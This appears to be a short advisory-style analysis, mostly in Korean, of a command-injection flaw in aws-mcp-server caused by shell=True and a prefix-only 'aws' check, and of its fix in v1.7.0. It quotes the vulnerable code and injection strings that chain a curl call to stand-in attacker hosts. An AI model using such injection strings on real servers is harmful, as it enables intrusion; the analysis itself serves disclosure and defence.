
Proof-of-concept demonstrating command injection in aws-mcp-server via shell=True, with analysis of the vulnerable code and the fix in v1.7.0.
취약점은 함께 작동하는 두 개의 파일에 있습니다:
파일 1: tools.py — 근본 원인 이전 버전은 execute_piped_command()에서 shell=True를 사용했습니다: python# 이전 취약 코드 process = subprocess.run( command, # ← 셸에 전달된 원시 문자열 shell=True, # ← 이것이 문제입니다 ... ) shell=True일 때 OS 셸은 ;, &&, ||, 백틱을 포함한 전체 문자열을 해석하므로 ; 뒤의 모든 내용이 별도의 명령으로 실행됩니다.
파일 2: security.py — 불완전한 가드 검증기는 명령이 aws로 시작하는지만 확인했습니다: python# 이전 취약 코드 def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← 여기서 멈춤, 파이프 뒤에 오는 내용은 검사하지 않음 따라서 aws s3 ls ; curl http://attacker.com은 aws로 시작하므로 검증을 통과했고, shell=True가 두 부분을 모두 실행했습니다.
현재 버전(v1.7.0)이 다른 이유 오늘의 실제 코드를 보면 두 문제 모두 사라졌습니다: python# cli_executor.py의 현재 코드 cmd_parts = shlex.split(command) # 리스트로 분할 subprocess.run(cmd_parts, shell=False) # 리스트 기반, 셸 해석 없음 그리고 security.py는 완전히 삭제되었고 OS 샌드박스(Landlock/bwrap/Seatbelt)로 대체되었습니다. 이제 ;은 무해합니다: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess는 ';'을 aws에 대한 리터럴 인자로 받음 → AWS CLI는 이를 무시하고 두 번째 명령은 실행되지 않음
한 줄 요약 취약한 버전현재 v1.7.0실행shell=True + 문자열shell=False + 리스트검증startswith("aws")만OS 수준 샌드박스; 처리셸에 의해 실행됨리터럴 텍스트로 처리됨 CVE는 이전 버전을 대상으로 제기되었습니다. ZDI는 공급업체가 보고서를 거부했기 때문에 이를 0-day로 공개했지만, CVE가 공개되기 전에 아키텍처는 이미 shell=True에서 벗어나 있었습니다.